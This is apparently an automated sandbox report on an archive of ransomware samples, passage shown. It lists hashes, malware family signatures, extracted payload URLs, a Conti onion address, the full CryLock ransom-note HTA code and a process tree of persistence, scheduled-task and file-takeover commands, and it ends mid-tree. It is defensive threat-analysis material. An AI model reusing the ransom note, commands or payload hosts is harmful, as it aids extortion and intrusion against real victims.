Analysis
-
max time kernel
262s -
max time network
380s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
31-10-2024 21:10
General
-
Target
RNSM00395.7z
-
Size
37.9MB
-
MD5
3415d869f43863503cfb7b4f0977f87f
-
SHA1
cbcc4f9b6662d47eee3806c86995611c16e7b8e6
-
SHA256
cd48c2dd4c93c07a5cf6ef30063a35787c734e14d4917e5f7893ab28946e5290
-
SHA512
b9ac597d32806e46a2a714158a07622cb28c96e09a79d3d7652532644d103c0e59bf1af1539d87a86bde9c8086bba8da0fe74882c07ab99973398e04a29706df
-
SSDEEP
786432:RGVRu1RAbmLqLDyhfq1ud+zfkesYMjCTZbqm/4kYT8to1:RG6I4Ah1u0rkDYyov/49t1
Malware Config
Extracted
http://e-service.iag.bg/App_Themes/Efa/clear.txt
Extracted
http://e-service.iag.bg/App_Themes/Efa/video.mp4
Extracted
crylock
- emails
-
ransomnote
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <title>CryLock</title> <hta:application showInTaskBar="no" APPLICATION="yes" ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no" applicationname="CryLock" border="thick" contexmenu="no" scroll="no" selection="yes" singleinstance="yes" windowstate="normal" MAXIMIZEBUTTON="NO" BORDER="DIALOG" width="100" height="100" MINIMIZEBUTTON="NO"></hta:application> <script language="JavaScript"> var ud=0; var op=0xc7bf30; var zoc=0; function document.onkeydown() { var alt=window.event.altKey; if (event.keyCode==116 || event.keyCode==27 || alt && event.keyCode==115) { event.keyCode=0; event.cancelBubble=true; return false; } } function document.onblur() { alert('Attention! This important information for you!'); } function ChangeTime() { var sd = new Date('<%DOUBLE_DATETIME%>'); var dn = new Date(); if (sd.getTime()<dn.getTime()) { var dt=document.getElementById('pwr'); dt.innerHTML='<font color="red" size="5"><b>Price is raised!</b></font>'; dt.style.height=78; zoc=1; } else { var delta=sd.getTime()-dn.getTime(); delta=new Date(delta); var dd=(delta.getUTCDate()-1)+((delta.getUTCMonth())*31); var hh=delta.getUTCHours(); var mm=delta.getUTCMinutes(); var ss=delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } var dt=document.getElementById('dt'); dt.innerHTML='<font face="monospace" color="#c2c2c2" size="4"><b>'+dd+' '+hh+':'+mm+':'+ss+'</b></font>'; } var sd = new Date('<%UNDECRYPT_DATETIME%>'); dn = new Date(); if (sd.getTime()<dn.getTime()) { var dt=document.getElementById('lctw'); dt.innerHTML='<font color="red" size="5"><b>Last chance to decrypt your files!</b></font>'; zoc=2; } else { var delta=sd.getTime()-dn.getTime(); delta=new Date(delta); var dd=(delta.getUTCDate()-1)+((delta.getUTCMonth())*31); var hh=delta.getUTCHours(); var mm=delta.getUTCMinutes(); var ss=delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } var dt=document.getElementById('et'); dt.innerHTML='<font face="monospace" color="#c2c2c2" size="4"><b>'+dd+' '+hh+':'+mm+':'+ss+'</b></font>'; } } function getRandomArbitrary(min, max) { min = Math.ceil(min); max = Math.floor(max); return Math.floor(Math.random() * (max - min)) + min; } function Rndom() { document.getElementById("blumid").focus(); var bid=document.getElementById('blumid'); var bem=document.getElementById('blummail'); if (ud==0) { op=op-0x10; } else { op=op+0x10; } if (op<=0xc00000) { ud=1; } if (op>=0xc7bf30) { ud=0; } bid.style.backgroundColor=op; bem.style.backgroundColor=op; var xx=''; var i=0; while (i<19) { xx=xx+getRandomArbitrary(0,2); i=i+1; } if (zoc==0) { var dt=document.getElementById('rc'); rc.innerHTML='<font face="monospace" color="white" size="5"><b>'+xx+'</b></font>'; } else { if (zoc==1) { var dt=document.getElementById('rc'); rc.innerHTML='<font face="monospace" color="red" size="5"><b>Price is raised!</b></font>'; } else { var dt=document.getElementById('rc'); rc.innerHTML='<font face="monospace" color="red" size="4"><b>Price is raised!<br>Last chance to decrypt your files!</b></font>'; } } } function Start() { window.resizeTo(800,500) setInterval(ChangeTime,1000); setInterval(Rndom,100); } function copytext(s) { window.clipboardData.setData("Text",s); alert(s+' copied to clipboard'); } function Restart() { alert('Attention! This important information for you!'); } </script> <body style="background-color:#0066CC;" OnLoad="Start()"> <div id="pwr" align="center" style="position:absolute; top:10px; left:10px; width:20%; border: 2px solid #c2c2c2;"> <font color="#c7bf30"><b>Payment will be raised after</b></font> <br> <div id="dt"> <font face="monospace" color="#c2c2c2" size="4">-- days --:--:--</font> </div> </div> <div align="center" style="position:absolute; top:10px; left:170px; width:58%;"> <font face="monospace" color="white" size="4"><b>Your files have been encrypted...</b></font> </div> <div align="center" style="position:absolute; top:60px; left:170px; width:58%;"> <div id="rc"> <font face="monospace" color="white" size="5"><b>00000000000000000000</b></font> </div> </div> <div id="lctw" align="center" style="position:absolute; top:10px; left:620px; width:20%; border: 2px solid #c2c2c2;"> <font color="#c7bf30"><b>Your files will be lost after</b></font> <br> <div id="et"> <font face="monospace" color="#c2c2c2" size="4">-- days --:--:--</font> </div> </div> <div style="background-color:white;overflow-x:hide; overflow-y:scroll; position:absolute; top:100px; left:10px; width:768px; height:320px"> Decrypt files? Write to this mails: <font face="monospace" OnClick="copytext('<%MAIN_CONTACT%>')"><b><%MAIN_CONTACT%></b></font> or <font face="monospace" OnClick="copytext('<%RESERVE_CONTACT%>')"><b><%RESERVE_CONTACT%></b></font>. Telegram <font face="monospace" OnClick="copytext('https://t.me/assist_decoderr')"><b>https://t.me/assist_decoder</b></font>. <br> You unique ID <font face="monospace" OnClick="copytext('[<%HID%>]')"><b>[<%HID%>] <font size="2">[copy]</font></b></font> </div> <div title="Click to copy" OnClick="copytext('[<%HID%>]')" id="blumid" style="cursor:pointer;background-color:#c7bf30; position:absolute; top:430px; left:10px; width:380px; height:20px"> <b>Your ID [<%HID%>] <font size="2">[copy]</font></b> </div> <div title="Click to copy" OnClick="copytext('<%MAIN_CONTACT%>')" id="blummail" style="cursor:pointer;background-color:#c7bf30; position:absolute; top:430px; left:400px; width:380px; height:20px"> <b>Write to <%MAIN_CONTACT%> <font size="2">[copy]</font></b> </div> </body> </html>
Extracted
C:\ProgramData\R3ADM3.txt
conti
http://m232fdxbfmbrcehbrj5iayknxnggf6niqfj6x4iedrgtab4qupzjlaid.onion
https://contirecovery.info
Extracted
C:\ProgramData\info-decrypt.hta
class='mark'>[email protected]</span></div>
class='mark'>[email protected]</span></div>
http://www.w3.org/TR/html4/strict.dtd'>
Signatures
-
Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
-
Conti Ransomware
Ransomware generally thought to be a successor to Ryuk.
-
Conti family
-
Crylock
Ransomware family, which is a new variant of Cryakl ransomware.
-
Crylock family
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Dcrat family
-
Dharma
Dharma is a ransomware that uses security software installation to hide malicious activities.
-
Dharma family
-
Thanos Ransomware
Ransomware-as-a-service (RaaS) sold through underground forums.
-
Thanos executable 1 IoCs
-
Thanos family
-
VashSorena Golang binary 1 IoCs
-
VashSorena Ransomware
Ransomware family with multiple versions/spinoffs. Decryption of files is generally possible without paying the ransom.
-
Vashsorena family
-
DCRat payload 6 IoCs
Detects payload of DCRat, commonly dropped by NSIS installers.
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies Windows Firewall 2 TTPs 4 IoCs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 25 IoCs
-
Loads dropped DLL 6 IoCs
-
Modifies file permissions 1 TTPs 8 IoCs
-
VMProtect packed file 2 IoCs
Detects executables packed with VMProtect commercial packer.
-
Adds Run key to start application 2 TTPs 8 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
-
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
-
UPX packed file 14 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Detects Pyinstaller 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 2 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 27 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Kills process with taskkill 3 IoCs
-
Modifies registry class 1 IoCs
-
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 35 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 12 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00395.7z"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /12⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.MSIL.Blocker.gen-8293bf889e1b43b4ad26a136618a696f90a0d435d724fbff73d046b39be68d33.exeHEUR-Trojan-Ransom.MSIL.Blocker.gen-8293bf889e1b43b4ad26a136618a696f90a0d435d724fbff73d046b39be68d33.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\PDFs Importantes.exe"C:\Users\Admin\AppData\Roaming\PDFs Importantes.exe" C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.MSIL.Blocker.gen-8293bf889e1b43b4ad26a136618a696f90a0d435d724fbff73d046b39be68d33.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Windows Objects\wmiintegrator.exe"C:\Users\Admin\AppData\Roaming\Windows Objects\wmiintegrator.exe" unk5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Windows Objects\wmihostwin.exe"C:\Users\Admin\AppData\Roaming\Windows Objects\wmihostwin.exe" unk26⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe" unk37⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Windows Objects\wmisecure.exe"C:\Users\Admin\AppData\Roaming\Windows Objects\wmisecure.exe" execute8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Roaming\Windows Objects\wmisecure64.exe"C:\Users\Admin\AppData\Roaming\Windows Objects\wmisecure64.exe" autorun8⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f9⤵
-
-
-
-
-
-
-
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.MSIL.PolyRansom.gen-760b306fbea4ce9787589fd5e63bbf38a71f592fb67683b6e6cd05b6056ad92d.exeHEUR-Trojan-Ransom.MSIL.PolyRansom.gen-760b306fbea4ce9787589fd5e63bbf38a71f592fb67683b6e6cd05b6056ad92d.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\GROWTO~2.EXEC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\GROWTO~2.EXE4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\GROWTO~2.EXEC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\GROWTO~2.EXE5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Agent.gen-d87d1fbeffe5b18e22f288780bf50b1e7d5af9bbe2480c80ea2a7497a3d52829.exeHEUR-Trojan-Ransom.Win32.Agent.gen-d87d1fbeffe5b18e22f288780bf50b1e7d5af9bbe2480c80ea2a7497a3d52829.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\Desktop\00395\HEUR-Trojan-Ransom.Win32.Agent.gen-d87d1fbeffe5b18e22f288780bf50b1e7d5af9bbe2480c80ea2a7497a3d52829.exe" "C:\Users\Admin\Desktop\00395\NWZVlWxF.exe"4⤵
-
-
C:\Users\Admin\Desktop\00395\NWZVlWxF.exe"C:\Users\Admin\Desktop\00395\NWZVlWxF.exe" -n4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\79baEZZk.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\79baEZZk.bmp" /f5⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f5⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\t9fuOCOU.vbs"4⤵
-
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\t9fuOCOU.vbs"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\edbwKqkI.bat" /sc minute /mo 5 /RL HIGHEST /F6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\edbwKqkI.bat" /sc minute /mo 5 /RL HIGHEST /F7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA7⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00395\UC7dQazg.bat" "C:\ProgramData\USOPrivate\UpdateStore\store.db""4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C5⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOPrivate\UpdateStore\store.db"5⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c iuNyTyE7.exe -accepteula "store.db" -nobanner5⤵
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula "store.db" -nobanner6⤵
-
C:\Users\Admin\AppData\Local\Temp\iuNyTyE764.exeiuNyTyE7.exe -accepteula "store.db" -nobanner7⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00395\UC7dQazg.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C5⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"5⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c iuNyTyE7.exe -accepteula "store.db" -nobanner5⤵
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula "store.db" -nobanner6⤵
-
-
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula -c Run -y -p extract -nobanner5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00395\UC7dQazg.bat" "C:\DDF.sys""4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\DDF.sys" /E /G Admin:F /C5⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\DDF.sys"5⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c iuNyTyE7.exe -accepteula "DDF.sys" -nobanner5⤵
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula "DDF.sys" -nobanner6⤵
-
C:\Users\Admin\AppData\Local\Temp\iuNyTyE764.exeiuNyTyE7.exe -accepteula "DDF.sys" -nobanner7⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00395\UC7dQazg.bat" "C:\Program Files\Windows Mail\wabmig.exe""4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wabmig.exe" /E /G Admin:F /C5⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wabmig.exe"5⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c iuNyTyE7.exe -accepteula "wabmig.exe" -nobanner5⤵
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula "wabmig.exe" -nobanner6⤵
-
-
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula -c Run -y -p extract -nobanner5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00395\UC7dQazg.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C5⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"5⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c iuNyTyE7.exe -accepteula "PhotoViewer.dll.mui" -nobanner5⤵
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula "PhotoViewer.dll.mui" -nobanner6⤵
-
-
-
C:\Users\Admin\Desktop\00395\iuNyTyE7.exeiuNyTyE7.exe -accepteula -c Run -y -p extract -nobanner5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00395\UC7dQazg.bat" "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui""4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui" /E /G Admin:F /C5⤵
-
-
